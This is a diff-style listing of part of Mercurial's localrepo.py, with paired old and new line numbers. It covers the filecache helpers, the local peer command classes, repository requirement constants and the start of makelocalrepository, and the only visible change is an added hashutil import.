62 subrepoutil,
64 tags as tagsmod,
63 tags as tagsmod,
65 transaction,
64 transaction,
66 txnutil,
65 txnutil,
67 util,
66 util,
68 vfs as vfsmod,
67 vfs as vfsmod,
69 )
68 )
70
69
71 from .interfaces import (
70 from .interfaces import (
72 repository,
71 repository,
73 util as interfaceutil,
72 util as interfaceutil,
74 )
73 )
75
74
76 from .utils import (
75 from .utils import (
76 hashutil,
77 procutil,
77 procutil,
78 stringutil,
78 stringutil,
79 )
79 )
80
80
81 from .revlogutils import constants as revlogconst
81 from .revlogutils import constants as revlogconst
82
82
83 release = lockmod.release
83 release = lockmod.release
84 urlerr = util.urlerr
84 urlerr = util.urlerr
85 urlreq = util.urlreq
85 urlreq = util.urlreq
86
86
87 # set of (path, vfs-location) tuples. vfs-location is:
87 # set of (path, vfs-location) tuples. vfs-location is:
88 # - 'plain for vfs relative paths
88 # - 'plain for vfs relative paths
89 # - '' for svfs relative paths
89 # - '' for svfs relative paths
90 _cachedfiles = set()
90 _cachedfiles = set()
91
91
92
92
93 class _basefilecache(scmutil.filecache):
93 class _basefilecache(scmutil.filecache):
94 """All filecache usage on repo are done for logic that should be unfiltered
94 """All filecache usage on repo are done for logic that should be unfiltered
95 """
95 """
96
96
97 def __get__(self, repo, type=None):
97 def __get__(self, repo, type=None):
98 if repo is None:
98 if repo is None:
99 return self
99 return self
100 # proxy to unfiltered __dict__ since filtered repo has no entry
100 # proxy to unfiltered __dict__ since filtered repo has no entry
101 unfi = repo.unfiltered()
101 unfi = repo.unfiltered()
102 try:
102 try:
103 return unfi.__dict__[self.sname]
103 return unfi.__dict__[self.sname]
104 except KeyError:
104 except KeyError:
105 pass
105 pass
106 return super(_basefilecache, self).__get__(unfi, type)
106 return super(_basefilecache, self).__get__(unfi, type)
107
107
108 def set(self, repo, value):
108 def set(self, repo, value):
109 return super(_basefilecache, self).set(repo.unfiltered(), value)
109 return super(_basefilecache, self).set(repo.unfiltered(), value)
110
110
111
111
112 class repofilecache(_basefilecache):
112 class repofilecache(_basefilecache):
113 """filecache for files in .hg but outside of .hg/store"""
113 """filecache for files in .hg but outside of .hg/store"""
114
114
115 def __init__(self, *paths):
115 def __init__(self, *paths):
116 super(repofilecache, self).__init__(*paths)
116 super(repofilecache, self).__init__(*paths)
117 for path in paths:
117 for path in paths:
118 _cachedfiles.add((path, b'plain'))
118 _cachedfiles.add((path, b'plain'))
119
119
120 def join(self, obj, fname):
120 def join(self, obj, fname):
121 return obj.vfs.join(fname)
121 return obj.vfs.join(fname)
122
122
123
123
124 class storecache(_basefilecache):
124 class storecache(_basefilecache):
125 """filecache for files in the store"""
125 """filecache for files in the store"""
126
126
127 def __init__(self, *paths):
127 def __init__(self, *paths):
128 super(storecache, self).__init__(*paths)
128 super(storecache, self).__init__(*paths)
129 for path in paths:
129 for path in paths:
130 _cachedfiles.add((path, b''))
130 _cachedfiles.add((path, b''))
131
131
132 def join(self, obj, fname):
132 def join(self, obj, fname):
133 return obj.sjoin(fname)
133 return obj.sjoin(fname)
134
134
135
135
136 class mixedrepostorecache(_basefilecache):
136 class mixedrepostorecache(_basefilecache):
137 """filecache for a mix files in .hg/store and outside"""
137 """filecache for a mix files in .hg/store and outside"""
138
138
139 def __init__(self, *pathsandlocations):
139 def __init__(self, *pathsandlocations):
140 # scmutil.filecache only uses the path for passing back into our
140 # scmutil.filecache only uses the path for passing back into our
141 # join(), so we can safely pass a list of paths and locations
141 # join(), so we can safely pass a list of paths and locations
142 super(mixedrepostorecache, self).__init__(*pathsandlocations)
142 super(mixedrepostorecache, self).__init__(*pathsandlocations)
143 _cachedfiles.update(pathsandlocations)
143 _cachedfiles.update(pathsandlocations)
144
144
145 def join(self, obj, fnameandlocation):
145 def join(self, obj, fnameandlocation):
146 fname, location = fnameandlocation
146 fname, location = fnameandlocation
147 if location == b'plain':
147 if location == b'plain':
148 return obj.vfs.join(fname)
148 return obj.vfs.join(fname)
149 else:
149 else:
150 if location != b'':
150 if location != b'':
151 raise error.ProgrammingError(
151 raise error.ProgrammingError(
152 b'unexpected location: %s' % location
152 b'unexpected location: %s' % location
153 )
153 )
154 return obj.sjoin(fname)
154 return obj.sjoin(fname)
155
155
156
156
157 def isfilecached(repo, name):
157 def isfilecached(repo, name):
158 """check if a repo has already cached "name" filecache-ed property
158 """check if a repo has already cached "name" filecache-ed property
159
159
160 This returns (cachedobj-or-None, iscached) tuple.
160 This returns (cachedobj-or-None, iscached) tuple.
161 """
161 """
162 cacheentry = repo.unfiltered()._filecache.get(name, None)
162 cacheentry = repo.unfiltered()._filecache.get(name, None)
163 if not cacheentry:
163 if not cacheentry:
164 return None, False
164 return None, False
165 return cacheentry.obj, True
165 return cacheentry.obj, True
166
166
167
167
168 class unfilteredpropertycache(util.propertycache):
168 class unfilteredpropertycache(util.propertycache):
169 """propertycache that apply to unfiltered repo only"""
169 """propertycache that apply to unfiltered repo only"""
170
170
171 def __get__(self, repo, type=None):
171 def __get__(self, repo, type=None):
172 unfi = repo.unfiltered()
172 unfi = repo.unfiltered()
173 if unfi is repo:
173 if unfi is repo:
174 return super(unfilteredpropertycache, self).__get__(unfi)
174 return super(unfilteredpropertycache, self).__get__(unfi)
175 return getattr(unfi, self.name)
175 return getattr(unfi, self.name)
176
176
177
177
178 class filteredpropertycache(util.propertycache):
178 class filteredpropertycache(util.propertycache):
179 """propertycache that must take filtering in account"""
179 """propertycache that must take filtering in account"""
180
180
181 def cachevalue(self, obj, value):
181 def cachevalue(self, obj, value):
182 object.__setattr__(obj, self.name, value)
182 object.__setattr__(obj, self.name, value)
183
183
184
184
185 def hasunfilteredcache(repo, name):
185 def hasunfilteredcache(repo, name):
186 """check if a repo has an unfilteredpropertycache value for <name>"""
186 """check if a repo has an unfilteredpropertycache value for <name>"""
187 return name in vars(repo.unfiltered())
187 return name in vars(repo.unfiltered())
188
188
189
189
190 def unfilteredmethod(orig):
190 def unfilteredmethod(orig):
191 """decorate method that always need to be run on unfiltered version"""
191 """decorate method that always need to be run on unfiltered version"""
192
192
193 def wrapper(repo, *args, **kwargs):
193 def wrapper(repo, *args, **kwargs):
194 return orig(repo.unfiltered(), *args, **kwargs)
194 return orig(repo.unfiltered(), *args, **kwargs)
195
195
196 return wrapper
196 return wrapper
197
197
198
198
199 moderncaps = {
199 moderncaps = {
200 b'lookup',
200 b'lookup',
201 b'branchmap',
201 b'branchmap',
202 b'pushkey',
202 b'pushkey',
203 b'known',
203 b'known',
204 b'getbundle',
204 b'getbundle',
205 b'unbundle',
205 b'unbundle',
206 }
206 }
207 legacycaps = moderncaps.union({b'changegroupsubset'})
207 legacycaps = moderncaps.union({b'changegroupsubset'})
208
208
209
209
210 @interfaceutil.implementer(repository.ipeercommandexecutor)
210 @interfaceutil.implementer(repository.ipeercommandexecutor)
211 class localcommandexecutor(object):
211 class localcommandexecutor(object):
212 def __init__(self, peer):
212 def __init__(self, peer):
213 self._peer = peer
213 self._peer = peer
214 self._sent = False
214 self._sent = False
215 self._closed = False
215 self._closed = False
216
216
217 def __enter__(self):
217 def __enter__(self):
218 return self
218 return self
219
219
220 def __exit__(self, exctype, excvalue, exctb):
220 def __exit__(self, exctype, excvalue, exctb):
221 self.close()
221 self.close()
222
222
223 def callcommand(self, command, args):
223 def callcommand(self, command, args):
224 if self._sent:
224 if self._sent:
225 raise error.ProgrammingError(
225 raise error.ProgrammingError(
226 b'callcommand() cannot be used after sendcommands()'
226 b'callcommand() cannot be used after sendcommands()'
227 )
227 )
228
228
229 if self._closed:
229 if self._closed:
230 raise error.ProgrammingError(
230 raise error.ProgrammingError(
231 b'callcommand() cannot be used after close()'
231 b'callcommand() cannot be used after close()'
232 )
232 )
233
233
234 # We don't need to support anything fancy. Just call the named
234 # We don't need to support anything fancy. Just call the named
235 # method on the peer and return a resolved future.
235 # method on the peer and return a resolved future.
236 fn = getattr(self._peer, pycompat.sysstr(command))
236 fn = getattr(self._peer, pycompat.sysstr(command))
237
237
238 f = pycompat.futures.Future()
238 f = pycompat.futures.Future()
239
239
240 try:
240 try:
241 result = fn(**pycompat.strkwargs(args))
241 result = fn(**pycompat.strkwargs(args))
242 except Exception:
242 except Exception:
243 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
243 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
244 else:
244 else:
245 f.set_result(result)
245 f.set_result(result)
246
246
247 return f
247 return f
248
248
249 def sendcommands(self):
249 def sendcommands(self):
250 self._sent = True
250 self._sent = True
251
251
252 def close(self):
252 def close(self):
253 self._closed = True
253 self._closed = True
254
254
255
255
256 @interfaceutil.implementer(repository.ipeercommands)
256 @interfaceutil.implementer(repository.ipeercommands)
257 class localpeer(repository.peer):
257 class localpeer(repository.peer):
258 '''peer for a local repo; reflects only the most recent API'''
258 '''peer for a local repo; reflects only the most recent API'''
259
259
260 def __init__(self, repo, caps=None):
260 def __init__(self, repo, caps=None):
261 super(localpeer, self).__init__()
261 super(localpeer, self).__init__()
262
262
263 if caps is None:
263 if caps is None:
264 caps = moderncaps.copy()
264 caps = moderncaps.copy()
265 self._repo = repo.filtered(b'served')
265 self._repo = repo.filtered(b'served')
266 self.ui = repo.ui
266 self.ui = repo.ui
267 self._caps = repo._restrictcapabilities(caps)
267 self._caps = repo._restrictcapabilities(caps)
268
268
269 # Begin of _basepeer interface.
269 # Begin of _basepeer interface.
270
270
271 def url(self):
271 def url(self):
272 return self._repo.url()
272 return self._repo.url()
273
273
274 def local(self):
274 def local(self):
275 return self._repo
275 return self._repo
276
276
277 def peer(self):
277 def peer(self):
278 return self
278 return self
279
279
280 def canpush(self):
280 def canpush(self):
281 return True
281 return True
282
282
283 def close(self):
283 def close(self):
284 self._repo.close()
284 self._repo.close()
285
285
286 # End of _basepeer interface.
286 # End of _basepeer interface.
287
287
288 # Begin of _basewirecommands interface.
288 # Begin of _basewirecommands interface.
289
289
290 def branchmap(self):
290 def branchmap(self):
291 return self._repo.branchmap()
291 return self._repo.branchmap()
292
292
293 def capabilities(self):
293 def capabilities(self):
294 return self._caps
294 return self._caps
295
295
296 def clonebundles(self):
296 def clonebundles(self):
297 return self._repo.tryread(b'clonebundles.manifest')
297 return self._repo.tryread(b'clonebundles.manifest')
298
298
299 def debugwireargs(self, one, two, three=None, four=None, five=None):
299 def debugwireargs(self, one, two, three=None, four=None, five=None):
300 """Used to test argument passing over the wire"""
300 """Used to test argument passing over the wire"""
301 return b"%s %s %s %s %s" % (
301 return b"%s %s %s %s %s" % (
302 one,
302 one,
303 two,
303 two,
304 pycompat.bytestr(three),
304 pycompat.bytestr(three),
305 pycompat.bytestr(four),
305 pycompat.bytestr(four),
306 pycompat.bytestr(five),
306 pycompat.bytestr(five),
307 )
307 )
308
308
309 def getbundle(
309 def getbundle(
310 self, source, heads=None, common=None, bundlecaps=None, **kwargs
310 self, source, heads=None, common=None, bundlecaps=None, **kwargs
311 ):
311 ):
312 chunks = exchange.getbundlechunks(
312 chunks = exchange.getbundlechunks(
313 self._repo,
313 self._repo,
314 source,
314 source,
315 heads=heads,
315 heads=heads,
316 common=common,
316 common=common,
317 bundlecaps=bundlecaps,
317 bundlecaps=bundlecaps,
318 **kwargs
318 **kwargs
319 )[1]
319 )[1]
320 cb = util.chunkbuffer(chunks)
320 cb = util.chunkbuffer(chunks)
321
321
322 if exchange.bundle2requested(bundlecaps):
322 if exchange.bundle2requested(bundlecaps):
323 # When requesting a bundle2, getbundle returns a stream to make the
323 # When requesting a bundle2, getbundle returns a stream to make the
324 # wire level function happier. We need to build a proper object
324 # wire level function happier. We need to build a proper object
325 # from it in local peer.
325 # from it in local peer.
326 return bundle2.getunbundler(self.ui, cb)
326 return bundle2.getunbundler(self.ui, cb)
327 else:
327 else:
328 return changegroup.getunbundler(b'01', cb, None)
328 return changegroup.getunbundler(b'01', cb, None)
329
329
330 def heads(self):
330 def heads(self):
331 return self._repo.heads()
331 return self._repo.heads()
332
332
333 def known(self, nodes):
333 def known(self, nodes):
334 return self._repo.known(nodes)
334 return self._repo.known(nodes)
335
335
336 def listkeys(self, namespace):
336 def listkeys(self, namespace):
337 return self._repo.listkeys(namespace)
337 return self._repo.listkeys(namespace)
338
338
339 def lookup(self, key):
339 def lookup(self, key):
340 return self._repo.lookup(key)
340 return self._repo.lookup(key)
341
341
342 def pushkey(self, namespace, key, old, new):
342 def pushkey(self, namespace, key, old, new):
343 return self._repo.pushkey(namespace, key, old, new)
343 return self._repo.pushkey(namespace, key, old, new)
344
344
345 def stream_out(self):
345 def stream_out(self):
346 raise error.Abort(_(b'cannot perform stream clone against local peer'))
346 raise error.Abort(_(b'cannot perform stream clone against local peer'))
347
347
348 def unbundle(self, bundle, heads, url):
348 def unbundle(self, bundle, heads, url):
349 """apply a bundle on a repo
349 """apply a bundle on a repo
350
350
351 This function handles the repo locking itself."""
351 This function handles the repo locking itself."""
352 try:
352 try:
353 try:
353 try:
354 bundle = exchange.readbundle(self.ui, bundle, None)
354 bundle = exchange.readbundle(self.ui, bundle, None)
355 ret = exchange.unbundle(self._repo, bundle, heads, b'push', url)
355 ret = exchange.unbundle(self._repo, bundle, heads, b'push', url)
356 if util.safehasattr(ret, b'getchunks'):
356 if util.safehasattr(ret, b'getchunks'):
357 # This is a bundle20 object, turn it into an unbundler.
357 # This is a bundle20 object, turn it into an unbundler.
358 # This little dance should be dropped eventually when the
358 # This little dance should be dropped eventually when the
359 # API is finally improved.
359 # API is finally improved.
360 stream = util.chunkbuffer(ret.getchunks())
360 stream = util.chunkbuffer(ret.getchunks())
361 ret = bundle2.getunbundler(self.ui, stream)
361 ret = bundle2.getunbundler(self.ui, stream)
362 return ret
362 return ret
363 except Exception as exc:
363 except Exception as exc:
364 # If the exception contains output salvaged from a bundle2
364 # If the exception contains output salvaged from a bundle2
365 # reply, we need to make sure it is printed before continuing
365 # reply, we need to make sure it is printed before continuing
366 # to fail. So we build a bundle2 with such output and consume
366 # to fail. So we build a bundle2 with such output and consume
367 # it directly.
367 # it directly.
368 #
368 #
369 # This is not very elegant but allows a "simple" solution for
369 # This is not very elegant but allows a "simple" solution for
370 # issue4594
370 # issue4594
371 output = getattr(exc, '_bundle2salvagedoutput', ())
371 output = getattr(exc, '_bundle2salvagedoutput', ())
372 if output:
372 if output:
373 bundler = bundle2.bundle20(self._repo.ui)
373 bundler = bundle2.bundle20(self._repo.ui)
374 for out in output:
374 for out in output:
375 bundler.addpart(out)
375 bundler.addpart(out)
376 stream = util.chunkbuffer(bundler.getchunks())
376 stream = util.chunkbuffer(bundler.getchunks())
377 b = bundle2.getunbundler(self.ui, stream)
377 b = bundle2.getunbundler(self.ui, stream)
378 bundle2.processbundle(self._repo, b)
378 bundle2.processbundle(self._repo, b)
379 raise
379 raise
380 except error.PushRaced as exc:
380 except error.PushRaced as exc:
381 raise error.ResponseError(
381 raise error.ResponseError(
382 _(b'push failed:'), stringutil.forcebytestr(exc)
382 _(b'push failed:'), stringutil.forcebytestr(exc)
383 )
383 )
384
384
385 # End of _basewirecommands interface.
385 # End of _basewirecommands interface.
386
386
387 # Begin of peer interface.
387 # Begin of peer interface.
388
388
389 def commandexecutor(self):
389 def commandexecutor(self):
390 return localcommandexecutor(self)
390 return localcommandexecutor(self)
391
391
392 # End of peer interface.
392 # End of peer interface.
393
393
394
394
395 @interfaceutil.implementer(repository.ipeerlegacycommands)
395 @interfaceutil.implementer(repository.ipeerlegacycommands)
396 class locallegacypeer(localpeer):
396 class locallegacypeer(localpeer):
397 '''peer extension which implements legacy methods too; used for tests with
397 '''peer extension which implements legacy methods too; used for tests with
398 restricted capabilities'''
398 restricted capabilities'''
399
399
400 def __init__(self, repo):
400 def __init__(self, repo):
401 super(locallegacypeer, self).__init__(repo, caps=legacycaps)
401 super(locallegacypeer, self).__init__(repo, caps=legacycaps)
402
402
403 # Begin of baselegacywirecommands interface.
403 # Begin of baselegacywirecommands interface.
404
404
405 def between(self, pairs):
405 def between(self, pairs):
406 return self._repo.between(pairs)
406 return self._repo.between(pairs)
407
407
408 def branches(self, nodes):
408 def branches(self, nodes):
409 return self._repo.branches(nodes)
409 return self._repo.branches(nodes)
410
410
411 def changegroup(self, nodes, source):
411 def changegroup(self, nodes, source):
412 outgoing = discovery.outgoing(
412 outgoing = discovery.outgoing(
413 self._repo, missingroots=nodes, missingheads=self._repo.heads()
413 self._repo, missingroots=nodes, missingheads=self._repo.heads()
414 )
414 )
415 return changegroup.makechangegroup(self._repo, outgoing, b'01', source)
415 return changegroup.makechangegroup(self._repo, outgoing, b'01', source)
416
416
417 def changegroupsubset(self, bases, heads, source):
417 def changegroupsubset(self, bases, heads, source):
418 outgoing = discovery.outgoing(
418 outgoing = discovery.outgoing(
419 self._repo, missingroots=bases, missingheads=heads
419 self._repo, missingroots=bases, missingheads=heads
420 )
420 )
421 return changegroup.makechangegroup(self._repo, outgoing, b'01', source)
421 return changegroup.makechangegroup(self._repo, outgoing, b'01', source)
422
422
423 # End of baselegacywirecommands interface.
423 # End of baselegacywirecommands interface.
424
424
425
425
426 # Increment the sub-version when the revlog v2 format changes to lock out old
426 # Increment the sub-version when the revlog v2 format changes to lock out old
427 # clients.
427 # clients.
428 REVLOGV2_REQUIREMENT = b'exp-revlogv2.1'
428 REVLOGV2_REQUIREMENT = b'exp-revlogv2.1'
429
429
430 # A repository with the sparserevlog feature will have delta chains that
430 # A repository with the sparserevlog feature will have delta chains that
431 # can spread over a larger span. Sparse reading cuts these large spans into
431 # can spread over a larger span. Sparse reading cuts these large spans into
432 # pieces, so that each piece isn't too big.
432 # pieces, so that each piece isn't too big.
433 # Without the sparserevlog capability, reading from the repository could use
433 # Without the sparserevlog capability, reading from the repository could use
434 # huge amounts of memory, because the whole span would be read at once,
434 # huge amounts of memory, because the whole span would be read at once,
435 # including all the intermediate revisions that aren't pertinent for the chain.
435 # including all the intermediate revisions that aren't pertinent for the chain.
436 # This is why once a repository has enabled sparse-read, it becomes required.
436 # This is why once a repository has enabled sparse-read, it becomes required.
437 SPARSEREVLOG_REQUIREMENT = b'sparserevlog'
437 SPARSEREVLOG_REQUIREMENT = b'sparserevlog'
438
438
439 # A repository with the sidedataflag requirement will allow to store extra
439 # A repository with the sidedataflag requirement will allow to store extra
440 # information for revision without altering their original hashes.
440 # information for revision without altering their original hashes.
441 SIDEDATA_REQUIREMENT = b'exp-sidedata-flag'
441 SIDEDATA_REQUIREMENT = b'exp-sidedata-flag'
442
442
443 # A repository with the the copies-sidedata-changeset requirement will store
443 # A repository with the the copies-sidedata-changeset requirement will store
444 # copies related information in changeset's sidedata.
444 # copies related information in changeset's sidedata.
445 COPIESSDC_REQUIREMENT = b'exp-copies-sidedata-changeset'
445 COPIESSDC_REQUIREMENT = b'exp-copies-sidedata-changeset'
446
446
447 # Functions receiving (ui, features) that extensions can register to impact
447 # Functions receiving (ui, features) that extensions can register to impact
448 # the ability to load repositories with custom requirements. Only
448 # the ability to load repositories with custom requirements. Only
449 # functions defined in loaded extensions are called.
449 # functions defined in loaded extensions are called.
450 #
450 #
451 # The function receives a set of requirement strings that the repository
451 # The function receives a set of requirement strings that the repository
452 # is capable of opening. Functions will typically add elements to the
452 # is capable of opening. Functions will typically add elements to the
453 # set to reflect that the extension knows how to handle that requirements.
453 # set to reflect that the extension knows how to handle that requirements.
454 featuresetupfuncs = set()
454 featuresetupfuncs = set()
455
455
456
456
457 def makelocalrepository(baseui, path, intents=None):
457 def makelocalrepository(baseui, path, intents=None):
458 """Create a local repository object.
458 """Create a local repository object.
459
459
460 Given arguments needed to construct a local repository, this function
460 Given arguments needed to construct a local repository, this function
461 performs various early repository loading functionality (such as
461 performs various early repository loading functionality (such as
462 reading the ``.hg/requires`` and ``.hg/hgrc`` files), validates that
462 reading the ``.hg/requires`` and ``.hg/hgrc`` files), validates that
463 the repository can be opened, derives a type suitable for representing
463 the repository can be opened, derives a type suitable for representing
464 that repository, and returns an instance of it.
464 that repository, and returns an instance of it.
465
465
466 The returned object conforms to the ``repository.completelocalrepository``
466 The returned object conforms to the ``repository.completelocalrepository``
467 interface.
467 interface.
468
468
469 The repository type is derived by calling a series of factory functions
469 The repository type is derived by calling a series of factory functions
470 for each aspect/interface of the final repository. These are defined by
470 for each aspect/interface of the final repository. These are defined by
471 ``REPO_INTERFACES``.
471 ``REPO_INTERFACES``.
472
472
473 Each factory function is called to produce a type implementing a specific
473 Each factory function is called to produce a type implementing a specific
474 interface. The cumulative list of returned types will be combined into a
474 interface. The cumulative list of returned types will be combined into a
475 new type and that type will be instantiated to represent the local
475 new type and that type will be instantiated to represent the local
476 repository.
476 repository.
477
477
478 The factory functions each receive various state that may be consulted
478 The factory functions each receive various state that may be consulted
479 as part of deriving a type.
479 as part of deriving a type.
480
480
481 Extensions should wrap these factory functions to customize repository type
481 Extensions should wrap these factory functions to customize repository type
482 creation. Note that an extension's wrapped function may be called even if
482 creation. Note that an extension's wrapped function may be called even if
483 that extension is not loaded for the repo being constructed. Extensions
483 that extension is not loaded for the repo being constructed. Extensions
484 should check if their ``__name__`` appears in the
484 should check if their ``__name__`` appears in the
485 ``extensionmodulenames`` set passed to the factory function and no-op if
485 ``extensionmodulenames`` set passed to the factory function and no-op if
486 not.
486 not.
487 """
487 """
488 ui = baseui.copy()
488 ui = baseui.copy()
489 # Prevent copying repo configuration.
489 # Prevent copying repo configuration.
490 ui.copy = baseui.copy
490 ui.copy = baseui.copy
491
491
492 # Working directory VFS rooted at repository root.
492 # Working directory VFS rooted at repository root.
493 wdirvfs = vfsmod.vfs(path, expandpath=True, realpath=True)
493 wdirvfs = vfsmod.vfs(path, expandpath=True, realpath=True)
494
494
495 # Main VFS for .hg/ directory.
495 # Main VFS for .hg/ directory.
496 hgpath = wdirvfs.join(b'.hg')
496 hgpath = wdirvfs.join(b'.hg')
497 hgvfs = vfsmod.vfs(hgpath, cacheaudited=True)
497 hgvfs = vfsmod.vfs(hgpath, cacheaudited=True)
498
498
499 # The .hg/ path should exist and should be a directory. All other
499 # The .hg/ path should exist and should be a directory. All other
500 # cases are errors.
500 # cases are errors.
501 if not hgvfs.isdir():
501 if not hgvfs.isdir():
502 try:
502 try:
503 hgvfs.stat()
503 hgvfs.stat()
504 except OSError as e:
504 except OSError as e:
505 if e.errno != errno.ENOENT:
505 if e.errno != errno.ENOENT:
506 raise
506 raise
507
507
508 raise error.RepoError(_(b'repository %s not found') % path)
508 raise error.RepoError(_(b'repository %s not found') % path)
509
509
510 # .hg/requires file contains a newline-delimited list of
510 # .hg/requires file contains a newline-delimited list of
511 # features/capabilities the opener (us) must have in order to use
511 # features/capabilities the opener (us) must have in order to use
512 # the repository. This file was introduced in Mercurial 0.9.2,
512 # the repository. This file was introduced in Mercurial 0.9.2,
513 # which means very old repositories may not have one. We assume
513 # which means very old repositories may not have one. We assume
514 # a missing file translates to no requirements.
514 # a missing file translates to no requirements.
515 try:
515 try:
516 requirements = set(hgvfs.read(b'requires').splitlines())
516 requirements = set(hgvfs.read(b'requires').splitlines())
517 except IOError as e:
517 except IOError as e:
518 if e.errno != errno.ENOENT:
518 if e.errno != errno.ENOENT:
519 raise
519 raise
520 requirements = set()
520 requirements = set()
521
521
522 # The .hg/hgrc file may load extensions or contain config options
522 # The .hg/hgrc file may load extensions or contain config options
523 # that influence repository construction. Attempt to load it and
523 # that influence repository construction. Attempt to load it and
524 # process any new extensions that it may have pulled in.
524 # process any new extensions that it may have pulled in.
525 if loadhgrc(ui, wdirvfs, hgvfs, requirements):
525 if loadhgrc(ui, wdirvfs, hgvfs, requirements):
526 afterhgrcload(ui, wdirvfs, hgvfs, requirements)
526 afterhgrcload(ui, wdirvfs, hgvfs, requirements)
527 extensions.loadall(ui)
527 extensions.loadall(ui)
528 extensions.populateui(ui)
528 extensions.populateui(ui)
529
529
530 # Set of module names of extensions loaded for this repository.
530 # Set of module names of extensions loaded for this repository.
531 extensionmodulenames = {m.__name__ for n, m in extensions.extensions(ui)}
531 extensionmodulenames = {m.__name__ for n, m in extensions.extensions(ui)}
532
532
533 supportedrequirements = gathersupportedrequirements(ui)
533 supportedrequirements = gathersupportedrequirements(ui)
534
534
535 # We first validate the requirements are known.
535 # We first validate the requirements are known.
536 ensurerequirementsrecognized(requirements, supportedrequirements)
536 ensurerequirementsrecognized(requirements, supportedrequirements)
537
537
538 # Then we validate that the known set is reasonable to use together.
538 # Then we validate that the known set is reasonable to use together.
539 ensurerequirementscompatible(ui, requirements)
539 ensurerequirementscompatible(ui, requirements)
540
540
541 # TODO there are unhandled edge cases related to opening repositories with
541 # TODO there are unhandled edge cases related to opening repositories with
542 # shared storage. If storage is shared, we should also test for requirements
542 # shared storage. If storage is shared, we should also test for requirements
543 # compatibility in the pointed-to repo. This entails loading the .hg/hgrc in
543 # compatibility in the pointed-to repo. This entails loading the .hg/hgrc in
544 # that repo, as that repo may load extensions needed to open it. This is a
544 # that repo, as that repo may load extensions needed to open it. This is a
545 # bit complicated because we don't want the other hgrc to overwrite settings
545 # bit complicated because we don't want the other hgrc to overwrite settings
546 # in this hgrc.
546 # in this hgrc.
547 #
547 #
548 # This bug is somewhat mitigated by the fact that we copy the .hg/requires
548 # This bug is somewhat mitigated by the fact that we copy the .hg/requires
549 # file when sharing repos. But if a requirement is added after the share is
549 # file when sharing repos. But if a requirement is added after the share is
550 # performed, thereby introducing a new requirement for the opener, we may
550 # performed, thereby introducing a new requirement for the opener, we may
551 # will not see that and could encounter a run-time error interacting with
551 # will not see that and could encounter a run-time error interacting with
552 # that shared store since it has an unknown-to-us requirement.
552 # that shared store since it has an unknown-to-us requirement.
553
553
554 # At this point, we know we should be capable of opening the repository.
554 # At this point, we know we should be capable of opening the repository.
555 # Now get on with doing that.
555 # Now get on with doing that.
556
556
557 features = set()
557 features = set()
558
558
559 # The "store" part of the repository holds versioned data. How it is
559 # The "store" part of the repository holds versioned data. How it is
560 # accessed is determined by various requirements. The ``shared`` or
560 # accessed is determined by various requirements. The ``shared`` or
561 # ``relshared`` requirements indicate the store lives in the path contained
561 # ``relshared`` requirements indicate the store lives in the path contained
562 # in the ``.hg/sharedpath`` file. This is an absolute path for
562 # in the ``.hg/sharedpath`` file. This is an absolute path for
563 # ``shared`` and relative to ``.hg/`` for ``relshared``.
563 # ``shared`` and relative to ``.hg/`` for ``relshared``.
564 if b'shared' in requirements or b'relshared' in requirements:
564 if b'shared' in requirements or b'relshared' in requirements:
565 sharedpath = hgvfs.read(b'sharedpath').rstrip(b'\n')
565 sharedpath = hgvfs.read(b'sharedpath').rstrip(b'\n')
566 if b'relshared' in requirements:
566 if b'relshared' in requirements:
567 sharedpath = hgvfs.join(sharedpath)
567 sharedpath = hgvfs.join(sharedpath)
568
568
569 sharedvfs = vfsmod.vfs(sharedpath, realpath=True)
569 sharedvfs = vfsmod.vfs(sharedpath, realpath=True)
570
570
571 if not sharedvfs.exists():
571 if not sharedvfs.exists():
572 raise error.RepoError(
572 raise error.RepoError(
573 _(b'.hg/sharedpath points to nonexistent directory %s')
573 _(b'.hg/sharedpath points to nonexistent directory %s')
574 % sharedvfs.base
574 % sharedvfs.base
575 )
575 )
576
576
577 features.add(repository.REPO_FEATURE_SHARED_STORAGE)
577 features.add(repository.REPO_FEATURE_SHARED_STORAGE)
578
578
579 storebasepath = sharedvfs.base
579 storebasepath = sharedvfs.base
580 cachepath = sharedvfs.join(b'cache')
580 cachepath = sharedvfs.join(b'cache')
581 else:
581 else:
582 storebasepath = hgvfs.base
582 storebasepath = hgvfs.base
583 cachepath = hgvfs.join(b'cache')
583 cachepath = hgvfs.join(b'cache')
584 wcachepath = hgvfs.join(b'wcache')
584 wcachepath = hgvfs.join(b'wcache')
585
585
586 # The store has changed over time and the exact layout is dictated by
586 # The store has changed over time and the exact layout is dictated by
587 # requirements. The store interface abstracts differences across all
587 # requirements. The store interface abstracts differences across all
588 # of them.
588 # of them.
589 store = makestore(
589 store = makestore(
590 requirements,
590 requirements,
591 storebasepath,
591 storebasepath,
592 lambda base: vfsmod.vfs(base, cacheaudited=True),
592 lambda base: vfsmod.vfs(base, cacheaudited=True),
593 )
593 )
594 hgvfs.createmode = store.createmode
594 hgvfs.createmode = store.createmode
595
595
596 storevfs = store.vfs
596 storevfs = store.vfs
597 storevfs.options = resolvestorevfsoptions(ui, requirements, features)
597 storevfs.options = resolvestorevfsoptions(ui, requirements, features)
598
598
599 # The cache vfs is used to manage cache files.
599 # The cache vfs is used to manage cache files.
600 cachevfs = vfsmod.vfs(cachepath, cacheaudited=True)
600 cachevfs = vfsmod.vfs(cachepath, cacheaudited=True)
601 cachevfs.createmode = store.createmode
601 cachevfs.createmode = store.createmode
602 # The cache vfs is used to manage cache files related to the working copy
602 # The cache vfs is used to manage cache files related to the working copy
603 wcachevfs = vfsmod.vfs(wcachepath, cacheaudited=True)
603 wcachevfs = vfsmod.vfs(wcachepath, cacheaudited=True)
604 wcachevfs.createmode = store.createmode
604 wcachevfs.createmode = store.createmode
605
605
606 # Now resolve the type for the repository object. We do this by repeatedly
606 # Now resolve the type for the repository object. We do this by repeatedly
607 # calling a factory function to produces types for specific aspects of the
607 # calling a factory function to produces types for specific aspects of the
608 # repo's operation. The aggregate returned types are used as base classes
608 # repo's operation. The aggregate returned types are used as base classes
609 # for a dynamically-derived type, which will represent our new repository.
609 # for a dynamically-derived type, which will represent our new repository.
610
610
611 bases = []
611 bases = []
612 extrastate = {}
612 extrastate = {}
613
613
614 for iface, fn in REPO_INTERFACES:
614 for iface, fn in REPO_INTERFACES:
615 # We pass all potentially useful state to give extensions tons of
615 # We pass all potentially useful state to give extensions tons of
616 # flexibility.
616 # flexibility.
617 typ = fn()(
617 typ = fn()(
618 ui=ui,
618 ui=ui,
619 intents=intents,
619 intents=intents,
620 requirements=requirements,
620 requirements=requirements,
